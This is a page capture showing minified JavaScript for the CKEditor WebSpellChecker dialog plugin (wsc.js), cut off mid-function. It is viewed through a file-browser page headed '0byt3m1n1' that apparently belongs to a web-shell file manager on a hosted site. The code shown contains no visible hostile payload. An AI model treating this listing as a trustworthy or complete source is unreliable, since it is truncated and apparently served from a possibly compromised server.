0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
edurocha
/
web
/
dist
/
vendor
/
ckeditor
/
plugins
/
wsc
/
dialogs
/
[
Home
]
File: wsc.js
!function(){function e(e){if(!e)throw"Languages-by-groups list are required for construct selectbox";var t,n=[],i="";for(t in e)for(var o in e[t]){var a=e[t][o];"en_US"==a?i=a:n.push(a)}return n.sort(),i&&n.unshift(i),{getCurrentLangGroup:function(t){e:{for(var n in e)for(var i in e[n])if(i.toUpperCase()===t.toUpperCase()){t=n;break e}t=""}return t},setLangList:function(){var t,n={};for(t in e)for(var i in e[t])n[e[t][i]]=i;return n}()}}var t,n,i=function(){var e=function(e,t,n){var i,o=(n=n||{}).expires;if("number"==typeof o&&o){var a=new Date;a.setTime(a.getTime()+1e3*o),o=n.expires=a}for(i in o&&o.toUTCString&&(n.expires=o.toUTCString()),e=e+"="+(t=encodeURIComponent(t)),n)e+="; "+i,!0!==(t=n[i])&&(e+="="+t);document.cookie=e};return{postMessage:{init:function(e){document.addEventListener?window.addEventListener("message",e,!1):window.attachEvent("onmessage",e)},send:function(e){var t=e.fn||null,n=e.id||"",i=e.target||window,o=e.message||{id:n};"[object Object]"==Object.prototype.toString.call(e.message)&&(e.message.id||(e.message.id=n),o=e.message),e=window.JSON.stringify(o,t),i.postMessage(e,"*")}},hash:{create:function(){},parse:function(){}},cookie:{set:e,get:function(e){return(e=document.cookie.match(RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)")))?decodeURIComponent(e[1]):void 0},remove:function(t){e(t,"",{expires:-1})}}}}(),o=o||{};o.TextAreaNumber=null,o.load=!0,o.cmd={SpellTab:"spell",Thesaurus:"thes",GrammTab:"grammar"},o.dialog=null,o.optionNode=null,o.selectNode=null,o.grammerSuggest=null,o.textNode={},o.iframeMain=null,o.dataTemp="",o.div_overlay=null,o.textNodeInfo={},o.selectNode={},o.selectNodeResponce={},o.langList=null,o.langSelectbox=null,o.banner="",o.show_grammar=null,o.div_overlay_no_check=null,o.targetFromFrame={},o.onLoadOverlay=null,o.LocalizationComing={},o.OverlayPlace=null,o.LocalizationButton={ChangeTo:{instance:null,text:"Change to"},ChangeAll:{instance:null,text:"Change All"},IgnoreWord:{instance:null,text:"Ignore word"},IgnoreAllWords:{instance:null,text:"Ignore all words"},Options:{instance:null,text:"Options",optionsDialog:{instance:null}},AddWord:{instance:null,text:"Add word"},FinishChecking:{instance:null,text:"Finish Checking"}},o.LocalizationLabel={ChangeTo:{instance:null,text:"Change to"},Suggestions:{instance:null,text:"Suggestions"}},o.framesetHtml=function(e){return'<iframe src="'+o.templatePath+'" id='+o.iframeNumber+"_"+e+' frameborder="0" allowtransparency="1" style="width:100%;border: 1px solid #AEB3B9;overflow: auto;background:#fff; border-radius: 3px;"></iframe>'},o.setIframe=function(e,t){var n=o.framesetHtml(t);return e.getElement().setHtml(n)},o.setCurrentIframe=function(e){o.setIframe(o.dialog._.contents[e].Content,e)},o.setHeightBannerFrame=function(){var e=o.dialog.getContentElement("SpellTab","banner").getElement(),t=o.dialog.getContentElement("GrammTab","banner").getElement(),n=o.dialog.getContentElement("Thesaurus","banner").getElement();e.setStyle("height","90px"),t.setStyle("height","90px"),n.setStyle("height","90px")},o.setHeightFrame=function(){document.getElementById(o.iframeNumber+"_"+o.dialog._.currentTabId).style.height="240px"},o.sendData=function(e){var t,n,i=e._.currentTabId,a=e._.contents[i].Content;o.setIframe(a,i),e.parts.tabs.removeAllListeners(),e.parts.tabs.on("click",(function(l){(l=l||window.event).data.getTarget().is("a")&&i!=e._.currentTabId&&(i=e._.currentTabId,a=e._.contents[i].Content,t=o.iframeNumber+"_"+i,o.div_overlay.setEnable(),a.getElement().getChildCount()?g(o.targetFromFrame[t],o.cmd[i]):(o.setIframe(a,i),n=document.getElementById(t),o.targetFromFrame[t]=n.contentWindow))}))},o.buildSelectLang=function(e){var t=new CKEDITOR.dom.element("div"),n=new CKEDITOR.dom.element("select");return e="wscLang"+e,t.addClass("cke_dialog_ui_input_select"),t.setAttribute("role","presentation"),t.setStyles({height:"auto",position:"absolute",right:"0",top:"-1px",width:"160px","white-space":"normal"}),n.setAttribute("id",e),n.addClass("cke_dialog_ui_input_select"),n.setStyles({width:"160px"}),t.append(n),t},o.buildOptionLang=function(e,t){var n,i,a=document.getElementById("wscLang"+t),l=document.createDocumentFragment(),s=[];if(0===a.options.length){for(n in e)s.push([n,e[n]]);s.sort();for(var r=0;r<s.length;r++)(n=document.createElement("option")).setAttribute("value",s[r][1]),i=document.createTextNode(s[r][0]),n.appendChild(i),s[r][1]==o.selectingLang&&n.setAttribute("selected","selected"),l.appendChild(n);a.appendChild(l)}},o.buildOptionSynonyms=function(e){e=o.selectNodeResponce[e],o.selectNode.synonyms.clear();for(var t=0;t<e.length;t++)o.selectNode.synonyms.add(e[t],e[t]);o.selectNode.synonyms.getInputElement().$.firstChild.selected=!0,o.textNode.Thesaurus.setValue(o.selectNode.synonyms.getInputElement().getValue())};var a=function(e){var t=document,n=e.target||t.body,i=e.id||"overlayBlock",o=e.opacity||"0.9",a=(e=e.background||"#f1f1f1",t.getElementById(i)),l=a||t.createElement("div");return l.style.cssText="position: absolute;top:30px;bottom:41px;left:1px;right:1px;z-index: 10020;padding:0;margin:0;background:"+e+";opacity: "+o+";filter: alpha(opacity="+100*o+");display: none;",l.id=i,a||n.appendChild(l),{setDisable:function(){l.style.display="none"},setEnable:function(){l.style.display="block"}}},l=function(e,t,n){var i=new CKEDITOR.dom.element("div"),a=new CKEDITOR.dom.element("input"),l=new CKEDITOR.dom.element("label"),s="wscGrammerSuggest"+e+"_"+t;return i.addClass("cke_dialog_ui_input_radio"),i.setAttribute("role","presentation"),i.setStyles({width:"97%",padding:"5px","white-space":"normal"}),a.setAttributes({type:"radio",value:t,name:"wscGrammerSuggest",id:s}),a.setStyles({float:"left"}),a.on("click",(function(e){o.textNode.GrammTab.setValue(e.sender.getValue())})),n&&a.setAttribute("checked",!0),a.addClass("cke_dialog_ui_radio_input"),l.appendText(e),l.setAttribute("for",s),l.setStyles({display:"block","line-height":"16px","margin-left":"18px","white-space":"normal"}),i.append(a),i.append(l),i},s=function(e){null!==(e=e||"true")&&"false"==e&&h()},r=function(t){var n=new e(t),a=(t="wscLang"+o.dialog.getParentEditor().name,t=document.getElementById(t),o.iframeNumber+"_"+o.dialog._.currentTabId);o.buildOptionLang(n.setLangList,o.dialog.getParentEditor().name),u[n.getCurrentLangGroup(o.selectingLang)](),s(o.show_grammar),t.onchange=function(){u[n.getCurrentLangGroup(this.value)](),s(o.show_grammar),o.div_overlay.setEnable(),o.selectingLang=this.value,i.postMessage.send({message:{changeLang:o.selectingLang,text:o.dataTemp},target:o.targetFromFrame[a],id:"selectionLang_outer__page"})}},d={iframeOnload:function(){o.div_overlay.setEnable();var e=o.dialog._.currentTabId;g(o.targetFromFrame[o.iframeNumber+"_"+e],o.cmd[e])},suggestlist:function(e){delete e.id,o.div_overlay_no_check.setDisable(),b(),r(o.langList);var t,i=function(e){if("no_any_suggestions"==e){e="No suggestions",o.LocalizationButton.ChangeTo.instance.disable(),o.LocalizationButton.ChangeAll.instance.disable();var t=function(e){(e=o.LocalizationButton[e].instance).getElement().hasClass("cke_disabled")?e.getElement().setStyle("color","#a0a0a0"):e.disable()};t("ChangeTo"),t("ChangeAll")}else o.LocalizationButton.ChangeTo.instance.enable(),o.LocalizationButton.ChangeAll.instance.enable(),o.LocalizationButton.ChangeTo.instance.getElement().setStyle("color","#333"),o.LocalizationButton.ChangeAll.instance.getElement().setStyle("color","#333");return e}(e.word);for(i instanceof Array&&(i=e.word[0]),t=i=i.split(","),n.clear(),o.textNode.SpellTab.setValue(t[0]),e=0;e<t.length;e++)n.add(t[e],t[e]);p(),o.div_overlay.setDisable()},grammerSuggest:function(e){delete e.id,delete e.mocklangs,b(),r(o.langList);var t=e.grammSuggest[0];o.grammerSuggest.getElement().setHtml(""),o.textNode.GrammTab.reset(),o.textNode.GrammTab.setValue(t),o.textNodeInfo.GrammTab.getElement().setHtml(""),o.textNodeInfo.GrammTab.getElement().setText(e.info),t=(e=e.grammSuggest).length;for(var n=!0,i=0;i<t;i++)o.grammerSuggest.getElement().append(l(e[i],e[i],n)),n=!1;p(),o.div_overlay.setDisable()},thesaurusSuggest:function(e){for(var t in delete e.id,delete e.mocklangs,b(),r(o.langList),o.selectNodeResponce=e,o.textNode.Thesaurus.reset(),o.selectNode.categories.clear(),e)o.selectNode.categories.add(t,t);e=o.selectNode.categories.getInputElement().getChildren().$[0].value,o.selectNode.categories.getInputElement().getChildren().$[0].selected=!0,o.buildOptionSynonyms(e),p(),o.div_overlay.setDisable()},finish:function(e){delete e.id,o.dialog.getContentElement(o.dialog._.currentTabId,"bottomGroup").getElement().hide(),o.dialog.getContentElement(o.dialog._.currentTabId,"BlockFinishChecking").getElement().show(),o.div_overlay.setDisable()},settext:function(e){delete e.id,o.dialog.getParentEditor().getCommand("checkspell");var t=o.dialog.getParentEditor();t.focus(),t.setData(e.text,(function(){o.dataTemp="",t.unlockSelection(),t.fire("saveSnapshot"),o.dialog.hide()}))},ReplaceText:function(e){delete e.id,o.div_overlay.setEnable(),o.dataTemp=e.text,o.selectingLang=e.currentLang,window.setTimeout((function(){o.div_overlay.setDisable()}),500),function(e){for(var t in e)e[t].instance.getElement().setText(o.LocalizationComing[t])}(o.LocalizationButton),function(e){for(var t in e){if(!e[t].instance.setLabel)break;e[t].instance.setLabel(o.LocalizationComing[t])}}(o.LocalizationLabel)},options_checkbox_send:function(e){delete e.id,e={osp:i.cookie.get("osp"),udn:i.cookie.get("udn"),cust_dic_ids:o.cust_dic_ids},i.postMessage.send({message:e,target:o.targetFromFrame[o.iframeNumber+"_"+o.dialog._.currentTabId],id:"options_outer__page"})},getOptions:function(e){var t=e.DefOptions.udn;if(o.LocalizationComing=e.DefOptions.localizationButtonsAndText,o.show_grammar=e.show_grammar,o.langList=e.lang,o.bnr=e.bannerId){o.setHeightBannerFrame();var n=e.banner;o.dialog.getContentElement(o.dialog._.currentTabId,"banner").getElement().setHtml(n)}else o.setHeightFrame();"undefined"==t&&(o.userDictionaryName?(t=o.userDictionaryName,n={osp:i.cookie.get("osp"),udn:o.userDictionaryName,cust_dic_ids:o.cust_dic_ids,id:"options_dic_send",udnCmd:"create"},i.postMessage.send({message:n,target:o.targetFromFrame[void 0]})):t=""),i.cookie.set("osp",e.DefOptions.osp),i.cookie.set("udn",t),i.cookie.set("cust_dic_ids",e.DefOptions.cust_dic_ids),i.postMessage.send({id:"giveOptions"})},options_dic_send:function(){var e={osp:i.cookie.get("osp"),udn:i.cookie.get("udn"),cust_dic_ids:o.cust_dic_ids,id:"options_dic_send",udnCmd:i.cookie.get("udnCmd")};i.postMessage.send({message:e,target:o.targetFromFrame[o.iframeNumber+"_"+o.dialog._.currentTabId]})},data:function(e){delete e.id},giveOptions:function(){},setOptionsConfirmF:function(){},setOptionsConfirmT:function(){t.setValue("")},clickBusy:function(){o.div_overlay.setEnable()},suggestAllCame:function(){o.div_overlay.setDisable(),o.div_overlay_no_check.setDisable()},TextCorrect:function(){r(o.langList)}},c=function(e){e=e||window.event,(e=window.JSON.parse(e.data))&&e.id&&d[e.id](e)},g=function(e,t,n,a){t=t||CKEDITOR.config.wsc_cmd,n=n||o.dataTemp,i.postMessage.send({message:{customerId:o.wsc_customerId,text:n,txt_ctrl:o.TextAreaNumber,cmd:t,cust_dic_ids:o.cust_dic_ids,udn:o.userDictionaryName,slang:o.selectingLang,reset_suggest:a||!1},target:e,id:"data_outer__page"}),o.div_overlay.setEnable()},u={superset:function(){o.dialog.showPage("Thesaurus"),o.dialog.showPage("GrammTab"),m()},usual:function(){o.dialog.hidePage("Thesaurus"),h(),m()}},h=function(){o.dialog.hidePage("GrammTab")},m=function(){o.dialog.showPage("SpellTab")},p=function(){o.dialog.getContentElement(o.dialog._.currentTabId,"bottomGroup").getElement().show()},b=function(){o.dialog.getContentElement(o.dialog._.currentTabId,"BlockFinishChecking").getElement().hide()};CKEDITOR.dialog.add("checkspell",(function(e){var t=function(){o.div_overlay.setEnable();var t=o.dialog._.currentTabId,n=o.iframeNumber+"_"+t,a=o.textNode[t].getValue(),l=this.getElement().getAttribute("title-cmd");i.postMessage.send({message:{cmd:l,tabId:t,new_word:a},target:o.targetFromFrame[n],id:"cmd_outer__page"}),("ChangeTo"==l||"ChangeAll"==l)&&e.fire("saveSnapshot"),"FinishChecking"==l&&e.config.wsc_onFinish.call(CKEDITOR.document.getWindow().getFrame())};return{title:e.config.wsc_dialogTitle||e.lang.wsc.title,minWidth:560,minHeight:444,buttons:[CKEDITOR.dialog.cancelButton],onLoad:function(){o.dialog=this,o.dialog.hidePage("Thesaurus"),h(),m()},onShow:function(){if(e.lockSelection(e.getSelection()),o.TextAreaNumber="cke_textarea_"+CKEDITOR.currentInstance.name,i.postMessage.init(c),o.dataTemp=CKEDITOR.currentInstance.getData(),o.OverlayPlace=o.dialog.parts.tabs.getParent().$,CKEDITOR&&CKEDITOR.config){o.wsc_customerId=e.config.wsc_customerId,o.cust_dic_ids=e.config.wsc_customDictionaryIds,o.userDictionaryName=e.config.wsc_userDictionaryName,o.defaultLanguage=CKEDITOR.config.defaultLanguage;var t="file:"==document.location.protocol?"http:":document.location.protocol;CKEDITOR.scriptLoader.load(e.config.wsc_customLoaderScript||t+"//loader.webspellchecker.net/sproxy_fck/sproxy.php?plugin=fck2&customerid="+o.wsc_customerId+"&cmd=script&doc=wsc&schema=22",(function(t){CKEDITOR.config&&CKEDITOR.config.wsc&&CKEDITOR.config.wsc.DefaultParams?(o.serverLocationHash=CKEDITOR.config.wsc.DefaultParams.serviceHost,o.logotype=CKEDITOR.config.wsc.DefaultParams.logoPath,o.loadIcon=CKEDITOR.config.wsc.DefaultParams.iconPath,o.loadIconEmptyEditor=CKEDITOR.config.wsc.DefaultParams.iconPathEmptyEditor,o.LangComparer=new CKEDITOR.config.wsc.DefaultParams._SP_FCK_LangCompare):(o.serverLocationHash=DefaultParams.serviceHost,o.logotype=DefaultParams.logoPath,o.loadIcon=DefaultParams.iconPath,o.loadIconEmptyEditor=DefaultParams.iconPathEmptyEditor,o.LangComparer=new _SP_FCK_LangCompare),o.pluginPath=CKEDITOR.getUrl(e.plugins.wsc.path),o.iframeNumber=o.TextAreaNumber,o.templatePath=o.pluginPath+"dialogs/tmp.html",o.LangComparer.setDefaulLangCode(o.defaultLanguage),o.currentLang=e.config.wsc_lang||o.LangComparer.getSPLangCode(e.langCode),o.selectingLang=o.currentLang,o.div_overlay=new a({opacity:"1",background:"#fff url("+o.loadIcon+") no-repeat 50% 50%",target:o.OverlayPlace});var n=o.dialog.parts.tabs.getId();(n=CKEDITOR.document.getById(n)).setStyle("width","97%"),n.getElementsByTag("DIV").count()||n.append(o.buildSelectLang(o.dialog.getParentEditor().name)),o.div_overlay_no_check=new a({opacity:"1",id:"no_check_over",background:"#fff url("+o.loadIconEmptyEditor+") no-repeat 50% 50%",target:o.OverlayPlace}),t&&(function(e){var t=new function(e){var t={};return{getCmdByTab:function(n){for(var i in e)t[e[i]]=i;return t[n]}}}(o.cmd);e.selectPage(t.getCmdByTab(CKEDITOR.config.wsc_cmd)),o.sendData(e)}(o.dialog),o.dialog.setupContent(o.dialog))}))}else o.dialog.hide()},onHide:function(){o.dataTemp=""},contents:[{id:"SpellTab",label:"SpellChecker",accessKey:"S",elements:[{type:"html",id:"banner",label:"banner",style:"",html:"<div></div>"},{type:"html",id:"Content",label:"spellContent",html:"",setup:function(e){e=o.iframeNumber+"_"+e._.currentTabId;var t=document.getElementById(e);o.targetFromFrame[e]=t.contentWindow}},{type:"hbox",id:"bottomGroup",style:"width:560px; margin: 0 auto;",widths:["50%","50%"],children:[{type:"hbox",id:"leftCol",align:"left",width:"50%",children:[{type:"vbox",id:"rightCol1",widths:["50%","50%"],children:[{type:"text",id:"text",label:o.LocalizationLabel.ChangeTo.text+":",labelLayout:"horizontal",labelStyle:"font: 12px/25px arial, sans-serif;",width:"140px",default:"",onShow:function(){o.textNode.SpellTab=this,o.LocalizationLabel.ChangeTo.instance=this},onHide:function(){this.reset()}},{type:"hbox",id:"rightCol",align:"right",width:"30%",children:[{type:"vbox",id:"rightCol_col__left",children:[{type:"text",id:"labelSuggestions",label:o.LocalizationLabel.Suggestions.text+":",onShow:function(){o.LocalizationLabel.Suggestions.instance=this,this.getInputElement().hide()}},{type:"html",id:"logo",html:'<img width="99" height="68" border="0" src="" title="WebSpellChecker.net" alt="WebSpellChecker.net" style="display: inline-block;">',setup:function(){this.getElement().$.src=o.logotype,this.getElement().getParent().setStyles({"text-align":"left"})}}]},{type:"select",id:"list_of_suggestions",labelStyle:"font: 12px/25px arial, sans-serif;",size:"6",inputStyle:"width: 140px; height: auto;",items:[["loading..."]],onShow:function(){n=this},onHide:function(){this.clear()},onChange:function(){o.textNode.SpellTab.setValue(this.getValue())}}]}]}]},{type:"hbox",id:"rightCol",align:"right",width:"50%",children:[{type:"vbox",id:"rightCol_col__left",widths:["50%","50%","50%","50%"],children:[{type:"button",id:"ChangeTo",label:o.LocalizationButton.ChangeTo.text,title:"Change to",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),o.LocalizationButton.ChangeTo.instance=this},onClick:t},{type:"button",id:"ChangeAll",label:o.LocalizationButton.ChangeAll.text,title:"Change All",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),o.LocalizationButton.ChangeAll.instance=this},onClick:t},{type:"button",id:"AddWord",label:o.LocalizationButton.AddWord.text,title:"Add word",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),o.LocalizationButton.AddWord.instance=this},onClick:t},{type:"button",id:"FinishChecking",label:o.LocalizationButton.FinishChecking.text,title:"Finish Checking",style:"width: 100%;margin-top: 9px;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),o.LocalizationButton.FinishChecking.instance=this},onClick:t}]},{type:"vbox",id:"rightCol_col__right",widths:["50%","50%","50%"],children:[{type:"button",id:"IgnoreWord",label:o.LocalizationButton.IgnoreWord.text,title:"Ignore word",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),o.LocalizationButton.IgnoreWord.instance=this},onClick:t},{type:"button",id:"IgnoreAllWords",label:o.LocalizationButton.IgnoreAllWords.text,title:"Ignore all words",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),o.LocalizationButton.IgnoreAllWords.instance=this},onClick:t},{type:"button",id:"option",label:o.LocalizationButton.Options.text,title:"Option",style:"width: 100%;",onLoad:function(){o.LocalizationButton.Options.instance=this,"file:"==document.location.protocol&&this.disable()},onClick:function(){"file:"==document.location.protocol?alert("WSC: Options functionality is disabled when runing from file system"):e.openDialog("options")}}]}]}]},{type:"hbox",id:"BlockFinishChecking",style:"width:560px; margin: 0 auto;",widths:["70%","30%"],onShow:function(){this.getElement().hide()},onHide:p,children:[{type:"hbox",id:"leftCol",align:"left",width:"70%",children:[{type:"vbox",id:"rightCol1",setup:function(){this.getChild()[0].getElement().$.src=o.logotype,this.getChild()[0].getElement().getParent().setStyles({"text-align":"center"})},children:[{type:"html",id:"logo",html:'<img width="99" height="68" border="0" src="" title="WebSpellChecker.net" alt="WebSpellChecker.net" style="display: inline-block;">'}]}]},{type:"hbox",id:"rightCol",align:"right",width:"30%",children:[{type:"vbox",id:"rightCol_col__left",children:[{type:"button",id:"Option_button",label:o.LocalizationButton.Options.text,title:"Option",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id),"file:"==document.location.protocol&&this.disable()},onClick:function(){"file:"==document.location.protocol?alert("WSC: Options functionality is disabled when runing from file system"):e.openDialog("options")}},{type:"button",id:"FinishChecking",label:o.LocalizationButton.FinishChecking.text,title:"Finish Checking",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t}]}]}]}]},{id:"GrammTab",label:"Grammar",accessKey:"G",elements:[{type:"html",id:"banner",label:"banner",style:"",html:"<div></div>"},{type:"html",id:"Content",label:"GrammarContent",html:"",setup:function(){var e=o.iframeNumber+"_"+o.dialog._.currentTabId,t=document.getElementById(e);o.targetFromFrame[e]=t.contentWindow}},{type:"vbox",id:"bottomGroup",style:"width:560px; margin: 0 auto;",children:[{type:"hbox",id:"leftCol",widths:["66%","34%"],children:[{type:"vbox",children:[{type:"text",id:"text",label:"Change to:",labelLayout:"horizontal",labelStyle:"font: 12px/25px arial, sans-serif;",inputStyle:"float: right; width: 200px;",default:"",onShow:function(){o.textNode.GrammTab=this},onHide:function(){this.reset()}},{type:"html",id:"html_text",html:"<div style='min-height: 17px; line-height: 17px; padding: 5px; text-align: left;background: #F1F1F1;color: #595959; white-space: normal!important;'></div>",onShow:function(){o.textNodeInfo.GrammTab=this}},{type:"html",id:"radio",html:"",onShow:function(){o.grammerSuggest=this}}]},{type:"vbox",children:[{type:"button",id:"ChangeTo",label:"Change to",title:"Change to",style:"width: 133px; float: right;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t},{type:"button",id:"IgnoreWord",label:"Ignore word",title:"Ignore word",style:"width: 133px; float: right;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t},{type:"button",id:"IgnoreAllWords",label:"Ignore Problem",title:"Ignore Problem",style:"width: 133px; float: right;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t},{type:"button",id:"FinishChecking",label:"Finish Checking",title:"Finish Checking",style:"width: 133px; float: right; margin-top: 9px;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t}]}]}]},{type:"hbox",id:"BlockFinishChecking",style:"width:560px; margin: 0 auto;",widths:["70%","30%"],onShow:function(){this.getElement().hide()},onHide:p,children:[{type:"hbox",id:"leftCol",align:"left",width:"70%",children:[{type:"vbox",id:"rightCol1",children:[{type:"html",id:"logo",html:'<img width="99" height="68" border="0" src="" title="WebSpellChecker.net" alt="WebSpellChecker.net" style="display: inline-block;">',setup:function(){this.getElement().$.src=o.logotype,this.getElement().getParent().setStyles({"text-align":"center"})}}]}]},{type:"hbox",id:"rightCol",align:"right",width:"30%",children:[{type:"vbox",id:"rightCol_col__left",children:[{type:"button",id:"FinishChecking",label:"Finish Checking",title:"Finish Checking",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t}]}]}]}]},{id:"Thesaurus",label:"Thesaurus",accessKey:"T",elements:[{type:"html",id:"banner",label:"banner",style:"",html:"<div></div>"},{type:"html",id:"Content",label:"spellContent",html:"",setup:function(){var e=o.iframeNumber+"_"+o.dialog._.currentTabId,t=document.getElementById(e);o.targetFromFrame[e]=t.contentWindow}},{type:"vbox",id:"bottomGroup",style:"width:560px; margin: -10px auto; overflow: hidden;",children:[{type:"hbox",widths:["75%","25%"],children:[{type:"vbox",children:[{type:"hbox",widths:["65%","35%"],children:[{type:"text",id:"ChangeTo",label:"Change to:",labelLayout:"horizontal",inputStyle:"width: 160px;",labelStyle:"font: 12px/25px arial, sans-serif;",default:"",onShow:function(){o.textNode.Thesaurus=this},onHide:function(){this.reset()}},{type:"button",id:"ChangeTo",label:"Change to",title:"Change to",style:"width: 121px; margin-top: 1px;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t}]},{type:"hbox",children:[{type:"select",id:"categories",label:"Categories:",labelStyle:"font: 12px/25px arial, sans-serif;",size:"5",inputStyle:"width: 180px; height: auto;",items:[],onShow:function(){o.selectNode.categories=this},onHide:function(){this.clear()},onChange:function(){o.buildOptionSynonyms(this.getValue())}},{type:"select",id:"synonyms",label:"Synonyms:",labelStyle:"font: 12px/25px arial, sans-serif;",size:"5",inputStyle:"width: 180px; height: auto;",items:[],onShow:function(){o.selectNode.synonyms=this,o.textNode.Thesaurus.setValue(this.getValue())},onHide:function(){this.clear()},onChange:function(){o.textNode.Thesaurus.setValue(this.getValue())}}]}]},{type:"vbox",width:"120px",style:"margin-top:46px;",children:[{type:"html",id:"logotype",label:"WebSpellChecker.net",html:'<img width="99" height="68" border="0" src="" title="WebSpellChecker.net" alt="WebSpellChecker.net" style="display: inline-block;">',setup:function(){this.getElement().$.src=o.logotype,this.getElement().getParent().setStyles({"text-align":"center"})}},{type:"button",id:"FinishChecking",label:"Finish Checking",title:"Finish Checking",style:"width: 121px; float: right; margin-top: 9px;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t}]}]}]},{type:"hbox",id:"BlockFinishChecking",style:"width:560px; margin: 0 auto;",widths:["70%","30%"],onShow:function(){this.getElement().hide()},children:[{type:"hbox",id:"leftCol",align:"left",width:"70%",children:[{type:"vbox",id:"rightCol1",children:[{type:"html",id:"logo",html:'<img width="99" height="68" border="0" src="" title="WebSpellChecker.net" alt="WebSpellChecker.net" style="display: inline-block;">',setup:function(){this.getElement().$.src=o.logotype,this.getElement().getParent().setStyles({"text-align":"center"})}}]}]},{type:"hbox",id:"rightCol",align:"right",width:"30%",children:[{type:"vbox",id:"rightCol_col__left",children:[{type:"button",id:"FinishChecking",label:"Finish Checking",title:"Finish Checking",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onClick:t}]}]}]}]}]}})),CKEDITOR.dialog.add("options",(function(){var e=null,n={},a={},l=null,s=null;i.cookie.get("udn"),i.cookie.get("osp");var r=function(){s=this.getElement().getAttribute("title-cmd");var e=[];e[0]=a.IgnoreAllCapsWords,e[1]=a.IgnoreWordsNumbers,e[2]=a.IgnoreMixedCaseWords,e[3]=a.IgnoreDomainNames,e=e.toString().replace(/,/g,""),i.cookie.set("osp",e),i.cookie.set("udnCmd",s||"ignore"),"delete"!=s&&(e="",""!==t.getValue()&&(e=t.getValue()),i.cookie.set("udn",e)),i.postMessage.send({id:"options_dic_send"})},d=function(){l.getElement().setHtml(o.LocalizationComing.error),l.getElement().show()};return{title:o.LocalizationComing.Options,minWidth:430,minHeight:130,resizable:CKEDITOR.DIALOG_RESIZE_NONE,contents:[{id:"OptionsTab",label:"Options",accessKey:"O",elements:[{type:"hbox",id:"options_error",children:[{type:"html",style:"display: block;text-align: center;white-space: normal!important; font-size: 12px;color:red",html:"<div></div>",onShow:function(){l=this}}]},{type:"vbox",id:"Options_content",children:[{type:"hbox",id:"Options_manager",widths:["52%","48%"],children:[{type:"fieldset",label:"Spell Checking Options",style:"border: none;margin-top: 13px;padding: 10px 0 10px 10px",onShow:function(){this.getInputElement().$.children[0].innerHTML=o.LocalizationComing.SpellCheckingOptions},children:[{type:"vbox",id:"Options_checkbox",children:[{type:"checkbox",id:"IgnoreAllCapsWords",label:"Ignore All-Caps Words",labelStyle:"margin-left: 5px; font: 12px/16px arial, sans-serif;display: inline-block;white-space: normal;",style:"float:left; min-height: 16px;",default:"",onClick:function(){a[this.id]=this.getValue()?1:0}},{type:"checkbox",id:"IgnoreWordsNumbers",label:"Ignore Words with Numbers",labelStyle:"margin-left: 5px; font: 12px/16px arial, sans-serif;display: inline-block;white-space: normal;",style:"float:left; min-height: 16px;",default:"",onClick:function(){a[this.id]=this.getValue()?1:0}},{type:"checkbox",id:"IgnoreMixedCaseWords",label:"Ignore Mixed-Case Words",labelStyle:"margin-left: 5px; font: 12px/16px arial, sans-serif;display: inline-block;white-space: normal;",style:"float:left; min-height: 16px;",default:"",onClick:function(){a[this.id]=this.getValue()?1:0}},{type:"checkbox",id:"IgnoreDomainNames",label:"Ignore Domain Names",labelStyle:"margin-left: 5px; font: 12px/16px arial, sans-serif;display: inline-block;white-space: normal;",style:"float:left; min-height: 16px;",default:"",onClick:function(){a[this.id]=this.getValue()?1:0}}]}]},{type:"vbox",id:"Options_DictionaryName",children:[{type:"text",id:"DictionaryName",style:"margin-bottom: 10px",label:"Dictionary Name:",labelLayout:"vertical",labelStyle:"font: 12px/25px arial, sans-serif;",default:"",onLoad:function(){t=this,this.setValue(o.userDictionaryName?o.userDictionaryName:(i.cookie.get("udn"),this.getValue()))},onShow:function(){t=this,this.setValue(i.cookie.get("udn")?i.cookie.get("udn"):this.getValue()),this.setLabel(o.LocalizationComing.DictionaryName)},onHide:function(){this.reset()}},{type:"hbox",id:"Options_buttons",children:[{type:"vbox",id:"Options_leftCol_col",widths:["50%","50%"],children:[{type:"button",id:"create",label:"Create",title:"Create",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onShow:function(){this.getElement().setText(o.LocalizationComing.Create)},onClick:r},{type:"button",id:"restore",label:"Restore",title:"Restore",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onShow:function(){this.getElement().setText(o.LocalizationComing.Restore)},onClick:r}]},{type:"vbox",id:"Options_rightCol_col",widths:["50%","50%"],children:[{type:"button",id:"rename",label:"Rename",title:"Rename",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onShow:function(){this.getElement().setText(o.LocalizationComing.Rename)},onClick:r},{type:"button",id:"delete",label:"Remove",title:"Remove",style:"width: 100%;",onLoad:function(){this.getElement().setAttribute("title-cmd",this.id)},onShow:function(){this.getElement().setText(o.LocalizationComing.Remove)},onClick:r}]}]}]}]},{type:"hbox",id:"Options_text",children:[{type:"html",style:"text-align: justify;margin-top: 15px;white-space: normal!important; font-size: 12px;color:#777;",html:"<div>"+o.LocalizationComing.OptionsTextIntro+"</div>",onShow:function(){this.getElement().setText(o.LocalizationComing.OptionsTextIntro)}}]}]}]}],buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButton],onOk:function(){var 